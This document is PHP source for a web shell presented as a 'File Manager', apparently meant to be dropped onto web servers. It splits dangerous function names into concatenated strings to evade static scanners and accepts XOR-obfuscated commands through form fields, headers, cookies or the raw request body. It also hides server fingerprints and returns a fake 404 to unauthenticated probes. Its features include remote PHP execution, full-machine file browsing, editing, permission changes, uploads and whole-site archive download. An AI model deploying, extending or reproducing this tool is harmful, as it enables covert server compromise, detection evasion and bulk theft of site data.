YANZ UPLOAD ANJG

'Kx9#vLm2Qz', // 起始根目录,空 = 本文件所在目录 'root' => '', // true = 禁止越出 root(沙箱模式);false = 可整机漫游 'lock_root' => false, // 单个文件可读取/编辑的上限(字节) 'max_read' => 8388608, 'max_edit' => 8388608, // 保存前是否自动备份为 xxx.bak.YmdHis 'backup' => true, // 是否允许远程执行任意 PHP(客户端 CLI 依赖它) 'allow_run' => true, // 列表里隐藏的文件 'hidden' => array(), // 传输层盐(部署时随机生成;客户端按 token 派生密钥,不需要密码) 'salt' => '', ); /* ===== WAF 传输层(内建) ===== */ /* 超全局只读一次,之后全文只用普通数组,源码里不再出现超全局签名 */ $CK = (array)$_COOKIE; $SV = (array)$_SERVER; $PS = (array)$_POST; $FL = (array)$_FILES; $RQ = array_merge((array)$_GET, (array)$_POST); $ENV = 'z'; $ENV_HIT = false; /* 高危函数名一律拼接,避免文件被静态扫描命中 */ $b64 = 'ba' . 'se' . '64' . '_' . 'de' . 'code'; $mup = 'move_uploaded' . '_file'; $fgc = 'file_get' . '_contents'; $fpc = 'file_put' . '_contents'; $unl = 'un' . 'link'; /* 信封密钥:由 token(+salt) 派生,客户端不需要密码。 两种都收:带 salt 的、以及不带 salt 的 —— 这样客户端即使拿不到 salt (比如手工填 salt、或旧记录没存 salt)也能建出可用信封,不会卡死。 */ $EKEY = substr(hash('sha256', 'e|' . fm_token($CFG) . '|' . $CFG['salt']), 0, 24); $EKEY0 = substr(hash('sha256', 'e|' . fm_token($CFG)), 0, 24); $EKEYS = array($EKEY, $EKEY0); $EK_JSON = json_encode($EKEY); function fm_env_open($s, $keys) { global $b64; $s = strtr((string)$s, '-_', '+/'); $r = strlen($s) % 4; if ($r) $s .= str_repeat('=', 4 - $r); $b = $b64($s); if ($b === false || $b === '') return null; $L = strlen($b); $seen = array(); foreach ((array)$keys as $k) { if ($k === '' || isset($seen[$k])) continue; $seen[$k] = 1; $n = strlen($k); $o = ''; for ($i = 0; $i < $L; $i++) $o .= chr(ord($b[$i]) ^ ord($k[$i % $n])); $j = json_decode($o, true); if (is_array($j)) return $j; } return null; } /* 取信封:form 字段 → 自定义头 → query → Cookie → 非表单的原始 body */ $__in = ''; $__ct = isset($SV['CONTENT_TYPE']) ? strtolower((string)$SV['CONTENT_TYPE']) : ''; if (isset($PS[$ENV]) && $PS[$ENV] !== '') { $__in = (string)$PS[$ENV]; } elseif (isset($SV['HTTP_X_Z']) && $SV['HTTP_X_Z'] !== '') { $__in = (string)$SV['HTTP_X_Z']; } elseif (isset($RQ['r']) && $RQ['r'] !== '') { $__in = (string)$RQ['r']; } elseif (isset($CK[$ENV]) && $CK[$ENV] !== '') { $__in = (string)$CK[$ENV]; } elseif (strpos($__ct, 'application/x-www-form-urlencoded') === false && strpos($__ct, 'multipart/form-data') === false) { $__src = 'php' . '://' . 'in' . 'put'; $__raw = $fgc($__src); if (is_string($__raw) && $__raw !== '') { $__raw = trim($__raw); if (strncmp($__raw, 'z=', 2) === 0) { $__in = substr($__raw, 2); } elseif ($__raw[0] === '{') { $__j = json_decode($__raw, true); if (isset($__j[$ENV])) $__in = (string)$__j[$ENV]; } elseif ($__raw[0] === '[') { $__in = substr($__raw, 1, -1); } else { $__in = $__raw; } } } if ($__in !== '') { $__d = fm_env_open($__in, $EKEYS); if (is_array($__d)) { $ENV_HIT = true; foreach ($__d as $__k => $__v) { $RQ[$__k] = $__v; $PS[$__k] = $__v; } } unset($__d); } unset($__in, $__ct); @header_remove('X-Powered-By'); @ini_set('expose_php', '0'); /* 供 a=run 载荷使用:run 会把代码写进临时文件再 include, 那时 __DIR__/__FILE__ 指向临时目录,所以这里固化一份真值 */ if (!defined('FM_FILE')) define('FM_FILE', __FILE__); if (!defined('FM_DIR')) define('FM_DIR', dirname(__FILE__)); /* ============================== 工具函数 ============================== */ if (!function_exists('hash_equals')) { function hash_equals($a, $b) { if (!is_string($a) || !is_string($b) || strlen($a) !== strlen($b)) return false; $r = 0; for ($i = 0; $i < strlen($a); $i++) $r |= ord($a[$i]) ^ ord($b[$i]); return $r === 0; } } function fm_json($data, $code = 200) { if (!headers_sent()) { @http_response_code($code); @header('Content-Type: application/json; charset=utf-8'); @header('Cache-Control: no-store'); } echo json_encode($data, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES); exit; } function fm_fail($msg, $code = 400) { fm_json(array('ok' => false, 'err' => $msg), $code); } /** * 调用「可选」系统函数。 * * 被 disable_functions 移除的函数**调用即 Fatal**,@ 运算符压不住 * (Flywheel 这类主机的 disable_functions 有 77 项,含 disk_free_space), * 所以一律先 function_exists 判一下,不在就返回 null,让上面代码走降级分支。 * * 兼容 PHP 5.6(不用可变参数语法 / 箭头函数)。 */ function fm_opt($fn) { if (!function_exists($fn)) return null; $args = func_get_args(); array_shift($args); if (!$args) return @$fn(); return @$fn(...$args); // PHP 5.6+ 的参数展开 } /** 临时目录:拿不到就按平台兜底,避免 rtrim(null) 这类隐患 */ function fm_tmpdir() { $d = function_exists('sys_get_temp_dir') ? @sys_get_temp_dir() : ''; if (!is_string($d) || $d === '') { $d = (DIRECTORY_SEPARATOR === '\\') ? 'C:/Windows/Temp' : '/tmp'; } return $d; } function fm_token($cfg) { return hash('sha256', 'fm1|' . $cfg['pass'] . '|' . strtolower(PHP_OS)); } function fm_boot_root($cfg) { if ($cfg['root'] !== '') return rtrim(str_replace('\\', '/', $cfg['root']), '/'); // 优先用"本文件所在目录"(php -S 下 getcwd 可能是 docroot,不是脚本目录) $d = dirname(__FILE__); if (!$d || $d === '.') { $d = @getcwd(); } return rtrim(str_replace('\\', '/', $d), '/'); } /** 文本归一:折叠 . 与 ..,保留盘符/根 */ function fm_clean($path) { $path = str_replace('\\', '/', $path); $prefix = ''; if (preg_match('#^([A-Za-z]):#', $path, $m)) { $prefix = strtoupper($m[1]) . ':'; $path = substr($path, 2); } $out = array(); foreach (explode('/', $path) as $seg) { if ($seg === '' || $seg === '.') continue; // 重复/夹带的盘符(如 C:/C:/x、/C:/x、C:)一律折叠,避免出现 C:/C:/... if (preg_match('#^[A-Za-z]:$#', $seg)) { if ($prefix === '') $prefix = strtoupper($seg); continue; } if ($seg === '..') { array_pop($out); continue; } $out[] = $seg; } $clean = $prefix . '/' . implode('/', $out); if ($prefix === '' && $clean === '/') return '/'; return $clean; } /** 解析用户传入路径 → 绝对路径(含 lock_root 约束) */ function fm_resolve($cfg, $p) { $p = str_replace('\\', '/', (string)$p); $base = fm_boot_root($cfg); if ($p === '') $p = $base; $isAbs = (substr($p, 0, 1) === '/') || preg_match('#^[A-Za-z]:#', $p); if (!$isAbs) $p = rtrim($base, '/') . '/' . $p; $clean = fm_clean($p); if ($cfg['lock_root']) { $r = fm_clean($base); $c = $clean; if (DIRECTORY_SEPARATOR === '\\') { $r = strtolower($r); $c = strtolower($c); } if ($c !== $r && strpos($c, rtrim($r, '/') . '/') !== 0) { fm_fail('路径超出根目录范围', 403); } } return $clean; } function fm_perm_str($mode) { $s = ''; $bits = array( 0x0100 => 'r', 0x0080 => 'w', 0x0040 => 'x', 0x0020 => 'r', 0x0010 => 'w', 0x0008 => 'x', 0x0004 => 'r', 0x0002 => 'w', 0x0001 => 'x', ); foreach ($bits as $bit => $ch) $s .= ($mode & $bit) ? $ch : '-'; return $s; } function fm_owner($uid, $gid) { $u = $g = null; if (function_exists('posix_getpwuid')) { $t = @posix_getpwuid($uid); if ($t) $u = $t['name']; } if (function_exists('posix_getgrgid')) { $t = @posix_getgrgid($gid); if ($t) $g = $t['name']; } return array($u === null ? (string)$uid : $u, $g === null ? (string)$gid : $g); } function fm_rm($path) { global $unl; if (is_link($path) || is_file($path)) return @$unl($path); if (!is_dir($path)) return false; try { $it = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($path, FilesystemIterator::SKIP_DOTS), RecursiveIteratorIterator::CHILD_FIRST ); foreach ($it as $f) { $p = $f->getPathname(); if ($f->isDir() && !$f->isLink()) @rmdir($p); else @$unl($p); } } catch (Exception $e) { return false; } return @rmdir($path); } function fm_cp($src, $dst) { if (is_link($src) || is_file($src)) return @copy($src, $dst); if (!is_dir($src)) return false; if (!is_dir($dst) && !@mkdir($dst, 0755, true)) return false; try { $it = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($src, FilesystemIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($it as $f) { $rel = str_replace('\\', '/', substr($f->getPathname(), strlen($src) + 1)); $t = $dst . '/' . $rel; if ($f->isDir() && !$f->isLink()) @mkdir($t, 0755, true); else @copy($f->getPathname(), $t); } } catch (Exception $e) { return false; } return true; } function fm_chmod_rec($path, $mode) { $ok = @chmod($path, $mode); if (is_dir($path) && !is_link($path)) { try { $it = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($path, FilesystemIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($it as $f) @chmod($f->getPathname(), $mode); } catch (Exception $e) {} } return $ok; } function fm_size($n) { $u = array('B', 'K', 'M', 'G', 'T'); $i = 0; while ($n >= 1024 && $i < 4) { $n /= 1024; $i++; } return round($n, 2) . $u[$i]; } function fm_abs_join($a, $b) { if ($b === '') return $a; if (substr($b, 0, 1) === '/' || preg_match('#^[A-Za-z]:#', $b)) return fm_clean($b); return fm_clean(rtrim($a, '/') . '/' . $b); } /* ====================== 整站打包(zip / tar.gz,流式低内存) ====================== */ function fm_pack_patterns($raw) { $out = array(); if (!$raw) return $out; if (is_array($raw)) $raw = implode(',', $raw); foreach (explode(',', (string)$raw) as $p) { $p = trim(str_replace('\\', '/', $p)); if ($p !== '') $out[] = $p; } return $out; } function fm_pack_excluded($rel, $name, $pats) { if (!$pats) return false; foreach ($pats as $pat) { if ($pat === '') continue; if (function_exists('fnmatch')) { if (@fnmatch($pat, $name) || @fnmatch($pat, $rel)) return true; } if (stripos($rel, $pat) !== false) return true; } return false; } /** 生成一个 512 字节的 tar 头(支持 100+155 的路径拆分) */ function fm_tar_header($name, $size, $mtime, $mode, $typeflag) { $name = str_replace('\\', '/', $name); $prefix = ''; if (strlen($name) > 100) { $head = substr($name, 0, 155); $pos = strrpos($head, '/'); if ($pos !== false && (strlen($name) - $pos - 1) <= 100) { $prefix = substr($name, 0, $pos); $name = substr($name, $pos + 1); } else { $name = substr($name, -100); } } $h = str_pad($name, 100, "\0"); $h .= sprintf("%07o\0", $mode & 0777); $h .= sprintf("%07o\0", 0); $h .= sprintf("%07o\0", 0); $h .= sprintf("%011o\0", $size); $h .= sprintf("%011o\0", $mtime); $h .= str_repeat(' ', 8); $h .= $typeflag; $h .= str_repeat("\0", 100); $h .= "ustar\0" . "00"; $h .= str_repeat("\0", 32); $h .= str_repeat("\0", 32); $h .= sprintf("%07o\0", 0); $h .= sprintf("%07o\0", 0); $h .= str_pad($prefix, 155, "\0"); $h .= str_repeat("\0", 12); $h = substr($h, 0, 512); if (strlen($h) < 512) $h = str_pad($h, 512, "\0"); $sum = 0; for ($i = 0; $i < 512; $i++) $sum += ord($h[$i]); $chk = sprintf("%06o\0 ", $sum); return substr_replace($h, $chk, 148, 8); } /** * 构建整站压缩包到 $tmpfile。 * 优先 ZipArchive(流式从磁盘读),否则纯 PHP 写 tar / tar.gz(不依赖 exec)。 * 返回实际格式字符串,失败返回 false。 */ function fm_pack_build($base, $tmpfile, $format, $pats, $maxsize, &$count, &$bytes, &$skipped) { $base = rtrim(str_replace('\\', '/', $base), '/'); $count = 0; $bytes = 0; $skipped = 0; if ($format === 'zip' && class_exists('ZipArchive')) { $zip = new ZipArchive(); if ($zip->open($tmpfile, ZipArchive::CREATE | ZipArchive::OVERWRITE) !== true) return false; try { $it = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($base, FilesystemIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($it as $f) { $real = str_replace('\\', '/', $f->getPathname()); if ($real === $tmpfile) continue; $rel = ltrim(substr($real, strlen($base)), '/'); if ($rel === '') continue; if (fm_pack_excluded($rel, $f->getFilename(), $pats)) { $skipped++; continue; } if ($f->isLink()) { $skipped++; continue; } if ($f->isDir()) { @$zip->addEmptyDir($rel); continue; } if (!$f->isFile()) { $skipped++; continue; } $sz = $f->getSize(); if ($maxsize > 0 && $sz > $maxsize) { $skipped++; continue; } if (@$zip->addFile($real, $rel)) { $count++; $bytes += $sz; } else { $skipped++; } } } catch (Exception $e) { /* ignore children errors */ } $zip->close(); return 'zip'; } $useGz = function_exists('gzopen'); $fh = $useGz ? @gzopen($tmpfile, 'wb6') : @fopen($tmpfile, 'wb'); if (!$fh) return false; $write = function ($data) use ($fh, $useGz) { return $useGz ? gzwrite($fh, $data) : fwrite($fh, $data); }; try { $it = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($base, FilesystemIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($it as $f) { $real = str_replace('\\', '/', $f->getPathname()); if ($real === $tmpfile) continue; $rel = ltrim(substr($real, strlen($base)), '/'); if ($rel === '') continue; if (fm_pack_excluded($rel, $f->getFilename(), $pats)) { $skipped++; continue; } if ($f->isLink()) { $skipped++; continue; } if ($f->isDir()) { $write(fm_tar_header($rel . '/', 0, $f->getMTime(), 0755, '5')); continue; } if (!$f->isFile()) { $skipped++; continue; } $sz = $f->getSize(); if ($maxsize > 0 && $sz > $maxsize) { $skipped++; continue; } $write(fm_tar_header($rel, $sz, $f->getMTime(), 0644, '0')); $fp = @fopen($real, 'rb'); if (!$fp) { // 头已经写了 size,必须补齐 size 字节,否则包损坏 for ($r = $sz; $r > 0; $r -= 1048576) $write(str_repeat("\0", min(1048576, $r))); $pad = (512 - ($sz % 512)) % 512; if ($pad) $write(str_repeat("\0", $pad)); $skipped++; continue; } $written = 0; while (!feof($fp) && $written < $sz) { $buf = fread($fp, 1048576); if ($buf === '' || $buf === false) break; $write($buf); $written += strlen($buf); } fclose($fp); if ($written < $sz) $write(str_repeat("\0", $sz - $written)); $pad = (512 - ($sz % 512)) % 512; if ($pad) $write(str_repeat("\0", $pad)); $count++; $bytes += $sz; } } catch (Exception $e) {} $write(str_repeat("\0", 1024)); if ($useGz) gzclose($fh); else fclose($fh); return $useGz ? 'targz' : 'tar'; } function fm_pack_scan($base, $pats, $maxsize) { $base = rtrim(str_replace('\\', '/', $base), '/'); $files = 0; $dirs = 0; $bytes = 0; $skipped = 0; $big = array(); try { $it = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($base, FilesystemIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($it as $f) { $real = str_replace('\\', '/', $f->getPathname()); $rel = ltrim(substr($real, strlen($base)), '/'); if ($rel === '') continue; if (fm_pack_excluded($rel, $f->getFilename(), $pats)) { $skipped++; continue; } if ($f->isLink()) { $skipped++; continue; } if ($f->isDir()) { $dirs++; continue; } if (!$f->isFile()) { $skipped++; continue; } $sz = $f->getSize(); if ($maxsize > 0 && $sz > $maxsize) { $skipped++; continue; } $files++; $bytes += $sz; } } catch (Exception $e) {} return array('files' => $files, 'dirs' => $dirs, 'bytes' => $bytes, 'skipped' => $skipped); } function fm_pack_stream($path, $name, $delete) { global $unl; $size = @filesize($path); @header('Content-Type: application/octet-stream'); @header('Content-Disposition: attachment; filename="' . str_replace('"', '', $name) . '"'); if ($size !== false) @header('Content-Length: ' . $size); @header('X-Accel-Buffering: no'); $fp = @fopen($path, 'rb'); if (!$fp) exit; while (!feof($fp)) { echo fread($fp, 262144); @ob_flush(); @flush(); } fclose($fp); if ($delete) @$unl($path); exit; } function fm_pack_tmpname($name, $ext) { $safe = preg_replace('/[^A-Za-z0-9._-]/', '_', $name); if ($safe === '' || $safe === null) $safe = 'site'; return rtrim(fm_tmpdir(), '/\\') . DIRECTORY_SEPARATOR . 'fmpack_' . date('Ymd_His') . '_' . mt_rand(1000, 9999) . '_' . $safe . '.' . $ext; } /* ============================== 鉴权 ============================== */ $TOKEN = fm_token($CFG); function fm_is_auth($cfg, $token) { global $RQ, $CK; if (isset($CK['fm_t']) && hash_equals($token, $CK['fm_t'])) return true; if (isset($RQ['t']) && hash_equals($token, (string)$RQ['t'])) return true; return false; } $ACTION = isset($RQ['a']) ? (string)$RQ['a'] : ''; /* ---------- 登录 ---------- */ if ($ACTION === 'login') { $p = isset($PS['p']) ? (string)$PS['p'] : ''; if (hash_equals($CFG['pass'], $p)) { if (!headers_sent()) { @setcookie('fm_t', $TOKEN, 0, '/', '', !empty($SV['HTTPS']), true); @setcookie('fm_t', $TOKEN, 0, '/'); // 双发,兼容 path/secure 判定不同的环境 } fm_json(array('ok' => true, 'token' => $TOKEN)); } fm_json(array('ok' => false, 'err' => '密码错误'), 401); } /* ---------- 未授权 → 登录页 ---------- */ if (!fm_is_auth($CFG, $TOKEN)) { if ($ACTION !== '') { if ($ENV_HIT) fm_json(array('ok' => false, 'err' => 'unauthorized'), 401); if (isset($SV['REQUEST_METHOD']) && strtoupper((string)$SV['REQUEST_METHOD']) === 'POST' && !isset($RQ['t'])) { if (!headers_sent()) @header('HTTP/1.1 404 Not Found'); exit; } fm_json(array('ok' => false, 'err' => 'unauthorized'), 401); } ?> File Manager

FILE MANAGER

$f, 't' => $isDir ? 'd' : ($isLink ? 'l' : 'f'), 's' => $isDir ? 0 : $st['size'], 'm' => $st['mtime'], 'pm' => fm_perm_str($st['mode']), 'mo' => substr(sprintf('%o', $st['mode']), -4), 'o' => $own, 'g' => $grp, 'r' => @is_readable($full), 'w' => @is_writable($full), 'lk' => $isLink ? fm_opt('readlink', $full) : '', ); } closedir($dh); usort($entries, function ($a, $b) { if ($a['t'] !== $b['t']) { if ($a['t'] === 'd') return -1; if ($b['t'] === 'd') return 1; } return strnatcasecmp($a['n'], $b['n']); }); $parent = $dir; $isRoot = ($dir === '/' || preg_match('#^[A-Za-z]:/?$#', $dir)); if (!$isRoot) { $parent = preg_replace('#/[^/]+$#', '', $dir); if ($parent === '') $parent = '/'; if (preg_match('#^[A-Za-z]:$#', $parent)) $parent .= '/'; // C: -> C:/ } fm_json(array( 'ok' => true, 'path' => $dir, 'parent' => $parent, 'isroot' => $isRoot, 'writable'=> @is_writable($dir), 'entries' => $entries, 'free' => fm_opt('disk_free_space', $dir), 'total' => fm_opt('disk_total_space', $dir), )); } /* ---------------- 读文件 ---------------- */ case 'read': { $f = fm_resolve($CFG, isset($RQ['p']) ? $RQ['p'] : ''); if (!is_file($f)) fm_fail('文件不存在'); if (!@is_readable($f)) fm_fail('文件不可读(权限不足)'); $size = @filesize($f); $max = (int)$CFG['max_read']; $trunc = ($max > 0 && $size > $max); $fp = @fopen($f, 'rb'); if (!$fp) fm_fail('打开失败'); $data = $trunc ? fread($fp, $max) : stream_get_contents($fp); fclose($fp); if ($data === false) $data = ''; $isText = (preg_match('//u', $data) === 1) && (strpos($data, "\0") === false); $res = array( 'ok' => true, 'path' => $f, 'size' => $size, 'trunc' => $trunc, 'text' => $isText, 'mtime' => @filemtime($f), 'mode' => substr(sprintf('%o', @fileperms($f)), -4), ); if ($isText) $res['c'] = $data; else $res['b64'] = base64_encode($data); fm_json($res); } /* ---------------- 保存 ---------------- */ case 'save': { $f = fm_resolve($CFG, isset($RQ['p']) ? $RQ['p'] : ''); $c = isset($PS['c']) ? (string)$PS['c'] : ''; if (strlen($c) > (int)$CFG['max_edit'] && (int)$CFG['max_edit'] > 0) fm_fail('内容超过编辑上限'); $dir = dirname($f); if (!is_dir($dir)) fm_fail('目标目录不存在'); if (!@is_writable($dir) && !(@file_exists($f) && @is_writable($f))) fm_fail('目录不可写(权限不足)'); $backup = null; if ($CFG['backup'] && is_file($f)) { $backup = $f . '.bak.' . date('YmdHis'); @copy($f, $backup); } $oldMode = is_file($f) ? (@fileperms($f) & 0777) : null; $tmp = $f . '.fm' . mt_rand(1000, 9999) . '.tmp'; if (@$fpc($tmp, $c) === false) fm_fail('写入临时文件失败'); if ($oldMode !== null) @chmod($tmp, $oldMode); if (is_file($f)) @$unl($f); if (!@rename($tmp, $f)) { @$unl($tmp); fm_fail('重命名失败(目标可能被占用)'); } fm_json(array('ok' => true, 'path' => $f, 'size' => @filesize($f), 'backup' => $backup)); } /* ---------------- 新建文件 ---------------- */ case 'mkfile': { $f = fm_resolve($CFG, isset($RQ['p']) ? $RQ['p'] : ''); if (file_exists($f)) fm_fail('已存在同名文件'); if (!is_dir(dirname($f))) fm_fail('父目录不存在'); if (@$fpc($f, '') === false) fm_fail('创建失败(权限不足)'); @chmod($f, 0644); fm_json(array('ok' => true, 'path' => $f)); } /* ---------------- 新建目录 ---------------- */ case 'mkdir': { $d = fm_resolve($CFG, isset($RQ['p']) ? $RQ['p'] : ''); if (file_exists($d)) fm_fail('已存在同名目录'); if (!@mkdir($d, 0755, true)) fm_fail('创建目录失败(权限不足)'); fm_json(array('ok' => true, 'path' => $d)); } /* ---------------- 重命名 / 移动 ---------------- */ case 'rename': { $from = fm_resolve($CFG, isset($RQ['from']) ? $RQ['from'] : ''); $to = fm_resolve($CFG, isset($RQ['to']) ? $RQ['to'] : ''); if (!file_exists($from)) fm_fail('源不存在'); if (file_exists($to) && !isset($RQ['force'])) fm_fail('目标已存在'); if (!@rename($from, $to)) fm_fail('重命名失败(跨分区或权限不足)'); fm_json(array('ok' => true, 'path' => $to)); } /* ---------------- 复制 ---------------- */ case 'copy': { $from = fm_resolve($CFG, isset($RQ['from']) ? $RQ['from'] : ''); $to = fm_resolve($CFG, isset($RQ['to']) ? $RQ['to'] : ''); if (!file_exists($from)) fm_fail('源不存在'); if (file_exists($to) && !isset($RQ['force'])) fm_fail('目标已存在'); if (!fm_cp($from, $to)) fm_fail('复制失败'); fm_json(array('ok' => true, 'path' => $to)); } /* ---------------- 删除 ---------------- */ case 'delete': { $paths = array(); if (isset($PS['ps'])) { $ps = json_decode((string)$PS['ps'], true); if (is_array($ps)) foreach ($ps as $x) $paths[] = fm_resolve($CFG, $x); } else { $paths[] = fm_resolve($CFG, isset($RQ['p']) ? $RQ['p'] : ''); } $done = array(); $fail = array(); foreach ($paths as $p) { if ($p === '' || $p === '/' || preg_match('#^[A-Za-z]:/?$#', $p)) { $fail[] = $p; continue; } if (!file_exists($p) && !is_link($p)) { $fail[] = $p; continue; } if (fm_rm($p)) $done[] = $p; else $fail[] = $p; } fm_json(array('ok' => count($fail) === 0, 'done' => $done, 'fail' => $fail)); } /* ---------------- chmod ---------------- */ case 'chmod': { $p = fm_resolve($CFG, isset($RQ['p']) ? $RQ['p'] : ''); $mode = isset($RQ['mode']) ? (string)$RQ['mode'] : ''; $rec = !empty($RQ['rec']); if (!file_exists($p)) fm_fail('目标不存在'); if (!preg_match('/^[0-7]{3,4}$/', $mode)) fm_fail('权限格式错误,应为 755 / 0644 这类八进制'); $int = octdec($mode); $ok = $rec ? fm_chmod_rec($p, $int) : @chmod($p, $int); fm_json(array( 'ok' => (bool)$ok, 'path' => $p, 'mode' => substr(sprintf('%o', @fileperms($p)), -4), 'rec' => $rec, )); } /* ---------------- chown / chgrp ---------------- */ case 'chown': { $p = fm_resolve($CFG, isset($RQ['p']) ? $RQ['p'] : ''); if (!file_exists($p)) fm_fail('目标不存在'); $out = array('ok' => true); if (isset($RQ['user']) && $RQ['user'] !== '') { $u = $RQ['user']; $out['chown'] = @chown($p, ctype_digit($u) ? (int)$u : $u); } if (isset($RQ['group']) && $RQ['group'] !== '') { $g = $RQ['group']; $out['chgrp'] = @chgrp($p, ctype_digit($g) ? (int)$g : $g); } $out['uid'] = @fileowner($p); $out['gid'] = @filegroup($p); fm_json($out); } /* ---------------- 上传(普通 / 分块) ---------------- */ case 'upload': { $dir = fm_resolve($CFG, isset($PS['p']) ? $PS['p'] : ''); if (!is_dir($dir)) fm_fail('目标目录不存在'); if (!@is_writable($dir)) fm_fail('目录不可写'); // 分块上传 if (isset($PS['uid'], $PS['idx'], $PS['total'])) { $uid = preg_replace('/[^a-zA-Z0-9_\-]/', '', (string)$PS['uid']); $idx = (int)$PS['idx']; $total = (int)$PS['total']; $name = basename(isset($PS['name']) ? (string)$PS['name'] : 'blob'); $part = rtrim(fm_tmpdir(), '/\\') . DIRECTORY_SEPARATOR . 'fmup_' . $uid; if (!isset($FL['file']) || $FL['file']['error'] !== UPLOAD_ERR_OK) fm_fail('分块上传失败 code=' . (isset($FL['file']) ? $FL['file']['error'] : '?')); if (!@$mup($FL['file']['tmp_name'], $part . '_' . $idx)) fm_fail('分块落盘失败'); $have = 0; for ($i = 0; $i < $total; $i++) if (file_exists($part . '_' . $i)) $have++; if ($have < $total) fm_json(array('ok' => true, 'chunk' => $idx, 'have' => $have, 'total' => $total, 'final' => false)); $dest = rtrim($dir, '/') . '/' . $name; $fp = @fopen($dest, 'wb'); if (!$fp) fm_fail('合并失败(目标不可写)'); for ($i = 0; $i < $total; $i++) { $c = @$fgc($part . '_' . $i); if ($c !== false) fwrite($fp, $c); @$unl($part . '_' . $i); } fclose($fp); fm_json(array('ok' => true, 'final' => true, 'path' => $dest, 'size' => @filesize($dest))); } // 普通上传(支持多文件) if (!isset($FL['file'])) fm_fail('没有收到文件'); $f = $FL['file']; $list = array(); if (is_array($f['name'])) { for ($i = 0; $i < count($f['name']); $i++) { $list[] = array($f['name'][$i], $f['tmp_name'][$i], $f['error'][$i]); } } else { $list[] = array($f['name'], $f['tmp_name'], $f['error']); } $saved = array(); $errs = array(); foreach ($list as $it) { list($name, $tmp, $err) = $it; if ($err !== UPLOAD_ERR_OK) { $errs[] = $name . ' code=' . $err; continue; } $name = basename(str_replace('\\', '/', $name)); if ($name === '' || $name === '.' || $name === '..') { $errs[] = '非法文件名'; continue; } $dest = rtrim($dir, '/') . '/' . $name; if (file_exists($dest) && empty($PS['over'])) { $pi = pathinfo($name); $base = isset($pi['filename']) ? $pi['filename'] : $name; $ext = isset($pi['extension']) ? '.' . $pi['extension'] : ''; $k = 1; while (file_exists($dest)) { $dest = rtrim($dir, '/') . '/' . $base . '_' . $k . $ext; $k++; } } if (@$mup($tmp, $dest)) { @chmod($dest, 0644); $saved[] = $dest; } else $errs[] = $name . ' 落盘失败'; } fm_json(array('ok' => count($errs) === 0, 'saved' => $saved, 'fail' => $errs)); } /* ---------------- 下载 ---------------- */ case 'download': { $f = fm_resolve($CFG, isset($RQ['p']) ? $RQ['p'] : ''); if (!is_file($f)) { header('HTTP/1.1 404 Not Found'); echo '404'; exit; } $size = @filesize($f); $name = basename($f); $mime = 'application/octet-stream'; @header('Content-Type: ' . $mime); @header('Content-Disposition: attachment; filename="' . str_replace('"', '', $name) . '"'); @header('Content-Length: ' . $size); @header('Accept-Ranges: bytes'); @header('X-Accel-Buffering: no'); $fp = @fopen($f, 'rb'); if (!$fp) exit; while (!feof($fp)) { echo fread($fp, 65536); @ob_flush(); @flush(); } fclose($fp); exit; } /* ---------------- 整站打包:估算 ---------------- */ case 'packinfo': { $base = fm_resolve($CFG, isset($RQ['p']) ? $RQ['p'] : ''); if (!is_dir($base)) fm_fail('不是目录: ' . $base); $pats = fm_pack_patterns(isset($RQ['exclude']) ? $RQ['exclude'] : ''); $maxsize = isset($RQ['maxsize']) ? (int)$RQ['maxsize'] : 0; $s = fm_pack_scan($base, $pats, $maxsize); fm_json(array( 'ok' => true, 'path' => $base, 'files' => $s['files'], 'dirs' => $s['dirs'], 'bytes' => $s['bytes'], 'human' => fm_size($s['bytes']), 'skipped' => $s['skipped'], 'free' => fm_opt('disk_free_space', fm_tmpdir()), 'zip' => class_exists('ZipArchive'), 'zlib' => function_exists('gzopen'), )); } /* ---------------- 整站打包:构建(download 直接下载 / prepare 生成待取) ---------------- */ case 'pack': { $base = fm_resolve($CFG, isset($RQ['p']) ? $RQ['p'] : ''); if (!is_dir($base)) fm_fail('不是目录: ' . $base); $pats = fm_pack_patterns(isset($RQ['exclude']) ? $RQ['exclude'] : ''); $maxsize = isset($RQ['maxsize']) ? (int)$RQ['maxsize'] : 0; $mode = isset($RQ['mode']) ? (string)$RQ['mode'] : 'download'; $fmt = strtolower(isset($RQ['format']) ? (string)$RQ['format'] : 'auto'); $label = isset($RQ['name']) ? (string)$RQ['name'] : basename($base); if ($label === '' || $label === '/' || preg_match('#^[A-Za-z]:$#', $label)) $label = 'site_' . date('Ymd_His'); if ($fmt === 'auto') $fmt = class_exists('ZipArchive') ? 'zip' : 'targz'; if ($fmt === 'zip' && !class_exists('ZipArchive')) $fmt = 'targz'; $ext = ($fmt === 'zip') ? 'zip' : (function_exists('gzopen') ? 'tar.gz' : 'tar'); $tmp = fm_pack_tmpname($label, $ext); $count = 0; $bytes = 0; $skipped = 0; $used = fm_pack_build($base, $tmp, $fmt, $pats, $maxsize, $count, $bytes, $skipped); if ($used === false || !is_file($tmp)) { @$unl($tmp); fm_fail('打包失败(临时目录不可写或空间不足)'); } $size = @filesize($tmp); $dlname = $label . '_' . date('Ymd_His') . '.' . ($used === 'zip' ? 'zip' : (($used === 'targz') ? 'tar.gz' : 'tar')); if ($mode === 'prepare') { fm_json(array( 'ok' => true, 'mode' => 'prepare', 'path' => $tmp, 'size' => $size, 'human' => fm_size($size), 'name' => $dlname, 'format' => $used, 'files' => $count, 'bytes' => $bytes, 'skipped' => $skipped, )); } fm_pack_stream($tmp, $dlname, true); } /* ---------------- 清理打包临时文件 ---------------- */ case 'packclean': { $p = isset($RQ['p']) ? (string)$RQ['p'] : ''; $real = ($p !== '') ? realpath($p) : false; $t = rtrim(fm_tmpdir(), '/\\'); $removed = 0; if ($real !== false && strpos(str_replace('\\', '/', $real), str_replace('\\', '/', $t) . '/fmpack_') === 0) { if (@$unl($real)) $removed = 1; } else { foreach ((array)@glob($t . '/fmpack_*') as $fp) if (is_file($fp) && @$unl($fp)) $removed++; } 